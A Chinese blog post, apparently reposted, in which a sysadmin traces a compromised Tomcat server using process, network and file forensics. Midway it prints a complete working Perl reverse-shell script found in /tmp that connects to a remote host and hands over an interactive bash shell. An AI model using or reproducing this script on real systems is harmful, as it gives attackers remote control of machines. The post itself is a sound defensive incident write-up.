一次tomcat服务器被挂马的解决经历

为什么80%的码农都做不了架构师?>>>   hot3.png

就在今天,我也遇到了传说中的服务器挂马事件,折腾了近一天最终解决了,遗憾的是未能抓到攻击途径。叙述一下这件事情的经过。

早上收到了一封来自于阿里云的邮件

尊敬的用户:
经检测您的云服务器(擦掉ip)存在恶意扫描,请您务必在12小时内处理,逾期未处理将禁止您服务器22、380、443、1314、3306、3433、3389、8080端口对外发包,并关停云服务器。关停后仅有一次机会自助解封,请您务必重视。感谢您的配合。 
请您尽快执行以下操作
1、病毒木马清理
请您使用杀毒软件进行病毒查杀,清理系统盘以及数据盘的木马或异常程序

2、开启云盾服务并实施安全防御方案
请您尽快开启云盾服务,开启步骤详见:http://help.aliyun.com/view/11108300_13444169.html
建议您实施安全防御方案,参考:http://help.aliyun.com/manual?spm=0.0.0.0.5TfSs4&helpId=2078

大致扫了一下,用了ps aux, netstat -anltp, htop这些命令看了一下,并未发现什么异常。于是给阿里云提ticket,问他们从哪些记录判断我的服务器有恶意扫描操作的。

他们给了一个日志,日志的记录大致是这样的:

222.216.190.83:80
222.216.190.83:80
222.216.190.83:80
......

发现有大量的向这个ip的80端口请求的记录。于是我上云盾看了下,发现服务器确实间歇性的高流量,而且是流出流量,很规律的波浪线,波峰都在3M左右,基本达到了服务器的带宽,感觉确实有问题了,静下心来再查。搞了将近一下午的时间,最终终于发现问题了。

找问题的曲折就不谈了(其实是没有处理这种问题的经验,瞎折腾,瞎忙活了半天,各种google,各种ls,各种ps,各种....),只写出最终发现问题的经过。

既然是流量出现异常,那么就检查流量把,于是nload, iftop这两条命令是最早用的,轮流上,但是发现流量一直很低,都准备放弃的时候,突然发现iftop显示TX的速率达到了2M,看来确实有问题!

事不宜迟,立刻netstat -anltp,无异常~

甚至连个80端口的tcp请求都没有(这里就是我一直被误导的地方了,下意识以为80端口是在请求http,应该是tcp协议,时间浪费在这里了。)但是神器iptraf让我发现了这个问题。

iptraf看一下流量监控,我的注意力其实一直集中在上面的tcp请求,下面的udp各种红字自然被忽略了。一直盯着上面的tcp在看,除了自己的ssh流量排第一之外,别的都没啥流量,没有异常,iftop依然显示当前的TX达到了2M。

这时候猛然注意力集中在了下面,因为下面不停的红色跳动数字引起的我的注意,原因找到了!我发现不停的有udp请求在跳,而且其中就有80端口和3137端口,就这两个端口的数据一直在跳,原来如此!就说怎么查不到,原来是udp在请求80端口!

既然是udp,于是netstat -anup,还好udp不多,一眼发现了问题!

 netstat -anup
激活Internet连接 (服务器和已建立连接的)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
udp        0      0 10.160.28.187:123       0.0.0.0:*                           1759/ntpd       
udp        0      0 127.0.0.1:123           0.0.0.0:*                           1759/ntpd       
udp        0      0 0.0.0.0:123             0.0.0.0:*                           1759/ntpd       
udp        0 229632 0.0.0.0:57606           0.0.0.0:*                           22607/          
udp        0      0 0.0.0.0:47508           0.0.0.0:*                           26384/java      
udp6       0      0 :::123                  :::*                                1759/ntpd  

一个没有Program name的进程赫然出现了,可疑的不能再可疑了!话不多说,立马ps aux | grep 22607

 ps aux | grep 22607
root     16315  0.0  0.0   9816   928 pts/3    S+   18:41   0:00 grep --color=auto 22607
tomcat7  22607  0.1  0.0 349372   888 ?        Ssl  Jul16   3:29 [.ECC6DFE919A382]

pwdx 22607
22607: /var/lib/tomcat7

这样一来明了了,这个非常可疑的进程已经浮现了。一看用户名,tomcat7,以为是tomcat下部署的网站被挂马了,立马service tomcat7 stop。不起作用,进程还在,愣了一下,猛然想起来这个应该是以tomcat7用户身份运行的程序,而不是tomcat服务启动的进程。

kill 22067, iptraf消停了,udp的红字不再一直蹦个不停了。

但是这是一个不完美的解决过程。首先不明白*** [.ECC6DFE919A382]***这个到底是什么,怎样产生的,代表什么意思,为什么是中括号标注的进程,而不是一般看到的具体的进程名。

其次,最遗憾的是不知道挂马者的挂马途径,不知道这个进程到底是什么,到底做了什么事情。遗憾啊

后记:

又发现了好玩的东西,这个tomcat7用户居然还启动了其他可疑的[]进程

ps aux | grep tomcat
tomcat7  20092  0.0  0.0 349264   612 ?        Ssl  05:48   0:20 [freeBSD]

后记2: 昨天杀掉的进程,今天再次出现了

# ps aux | grep tomcat
tomcat7  16503  1.0 40.5 1552124 624712 ?      Sl   Jul17   8:57 /usr/lib/jvm/java-7-openjdk-amd64/bin/java -Djava.util.logging.config.file=/var/lib/tomcat7/conf/logging.properties -Djava.awt.headless=true -Xmx128m -XX:+UseConcMarkSweepGC -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Xms256m -Xmx512m -XX:PermSize=128m -XX:MaxPermSize=128m -XX:NewRatio=1 -Djava.endorsed.dirs=/usr/share/tomcat7/endorsed -classpath /usr/share/tomcat7/bin/bootstrap.jar:/usr/share/tomcat7/bin/tomcat-juli.jar -Dcatalina.base=/var/lib/tomcat7 -Dcatalina.home=/usr/share/tomcat7 -Djava.io.tmpdir=/tmp/tomcat7-tomcat7-tmp org.apache.catalina.startup.Bootstrap start
tomcat7  20735  0.0  0.1   2684  2388 ?        S    07:55   0:00 /tmp/freeBSD /tmp/freeBSD 1
tomcat7  20739  0.0  0.0 349264   716 ?        Ssl  07:55   0:02 [.ECC6DFE919A382]
root     24576  0.0  0.0   9816   928 pts/2    S+   09:12   0:00 grep --color=auto tomcat

而/tmp下是没有freeBSD这个程序的,应该是启动后被删掉了。

ll /tmp
总用量 1240
drwxrwxrwt  8 root    root       4096  7月 18 09:17 ./
drwxr-xr-x 23 root    root       4096  7月 10 17:28 ../
-rw-r--r--  1 tomcat7 tomcat7       4  7月 12 01:36 12.txt
-rwxr-xr-x  1 tomcat7 tomcat7 1128784  7月 18 07:55 .ECC6DFE919A382BADRR1A8CDFC9FB43AA0*
drwxr-xr-x  2 tomcat7 tomcat7    4096  7月 17 18:43 hsperfdata_tomcat7/
drwxr-xr-x  2 tomcat7 root       4096  7月 17 18:44 tomcat7-tomcat7-tmp/
-rw-r--r--  1 tomcat7 tomcat7     657  7月  6 05:41 zerl

tomcat7用户创建了一堆可疑的玩意,其中zerl是一个perl脚本

#!/usr/bin/perl -w

use strict; 
use Socket; 
use IO::Handle; 

if($#ARGV+1 != 2){ 
print "$#ARGV $0 Remote_IP Remote_Port \n"; 
exit 1; 
} 

my $remote_ip = $ARGV[0]; 
my $remote_port = $ARGV[1]; 

my $proto = getprotobyname("tcp"); 
my $pack_addr = sockaddr_in($remote_port, inet_aton($remote_ip)); 

my $shell = '/bin/bash -i'; 

socket(SOCK, AF_INET, SOCK_STREAM, $proto); 

STDOUT->autoflush(1); 
SOCK->autoflush(1); 

connect(SOCK,$pack_addr) or die "can not connect:$!"; 

open STDIN, "<&SOCK"; 
open STDOUT, ">&SOCK"; 
open STDERR, ">&SOCK"; 

print "Enjoy the shell.\n"; 

system($shell); 
close SOCK; 

exit 0;
 ll hsperfdata_tomcat7/
总用量 40
drwxr-xr-x 2 tomcat7 tomcat7  4096  7月 17 18:43 ./
drwxrwxrwt 8 root    root     4096  7月 18 09:17 ../
-rw------- 1 tomcat7 tomcat7 32768  7月 18 09:21 16503

cat 12.txt 
1233

凌乱了,完全不知道从哪里出了问题,这个程序到底在做什么?

此时想到/tmp/freeBSD,这个文件肯定有玄机,但是被删了,尝试lsof找回。

# lsof -p 20735
COMMAND   PID    USER   FD   TYPE DEVICE SIZE/OFF    NODE NAME
freeBSD 20735 tomcat7  cwd    DIR  202,1     4096  664470 /var/lib/tomcat7
freeBSD 20735 tomcat7  rtd    DIR  202,1     4096       2 /
freeBSD 20735 tomcat7  txt    REG  202,1  1128784 1048681 /tmp/freeBSD (deleted)
freeBSD 20735 tomcat7    0r   CHR    1,3      0t0    4848 /dev/null
freeBSD 20735 tomcat7    1w   CHR    1,3      0t0    4848 /dev/null
freeBSD 20735 tomcat7    2w   CHR    1,3      0t0    4848 /dev/null

ll /proc/20735/fd
总用量 0
dr-x------ 2 tomcat7 tomcat7  0  7月 18 07:56 ./
dr-xr-xr-x 8 tomcat7 tomcat7  0  7月 18 07:55 ../
lr-x------ 1 tomcat7 tomcat7 64  7月 18 07:56 0 -> /dev/null
l-wx------ 1 tomcat7 tomcat7 64  7月 18 07:56 1 -> /dev/null
l-wx------ 1 tomcat7 tomcat7 64  7月 18 07:56 2 -> /dev/null

日了,根本没有文件描述符占用,这挂马者是有多高端啊,根本不给留机会啊

这个就是那个现形的木马文件:

# lsof -p 20739
COMMAND     PID    USER   FD   TYPE   DEVICE SIZE/OFF    NODE NAME
.ECC6DFE9 20739 tomcat7  cwd    DIR    202,1     4096  664470 /var/lib/tomcat7
.ECC6DFE9 20739 tomcat7  rtd    DIR    202,1     4096       2 /
.ECC6DFE9 20739 tomcat7  txt    REG    202,1  1415201 1048671 /tmp/.ECC6DFE919A382BADRR1A8CDFC9FB43AA0 (deleted)
.ECC6DFE9 20739 tomcat7  mem    REG    202,1  3337488 1185502 /usr/lib/locale/locale-archive
.ECC6DFE9 20739 tomcat7    0u   CHR      1,3      0t0    4848 /dev/null
.ECC6DFE9 20739 tomcat7    1u   CHR      1,3      0t0    4848 /dev/null
.ECC6DFE9 20739 tomcat7    2u   CHR      1,3      0t0    4848 /dev/null
.ECC6DFE9 20739 tomcat7    3u  IPv4 10636902      0t0     TCP xxxxxxxxxxxx:58719->119.1.109.43:10991 (ESTABLISHED)

# file .ECC6DFE919A382BADRR1A8CDFC9FB43AA0 
.ECC6DFE919A382BADRR1A8CDFC9FB43AA0: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, stripped

root@dunham:/tmp# du -sh .ECC6DFE919A382BADRR1A8CDFC9FB43AA0 
1.1M	.ECC6DFE919A382BADRR1A8CDFC9FB43AA0

119.1.109.43这个ip指向了贵州的ip,不确定是不是挂马者。这个可疑进程一直在发起udp数据,连接几个固定ip的8888端口,不知道发送什么东西。

暂时放弃了,以我目前的水平实在是找不到挂马者的攻击途径,最终/tmp/freeBSD这个在我看来比较重要的文件没能恢复回来,也没找到webshell,不知道到底有没有webshell,如果有也不知道攻击者放在哪里了。删掉/tmp下所有的tomcat创建的文件,卸载tomcat,删掉war包和解包目录,重装tomcat,重新打war包发布了,以观后效。

重大发现,怀疑是elasticsearch的远程执行漏洞!正在尝试解决

转载于:https://my.oschina.net/abcfy2/blog/292159

你可能感兴趣的:(一次tomcat服务器被挂马的解决经历)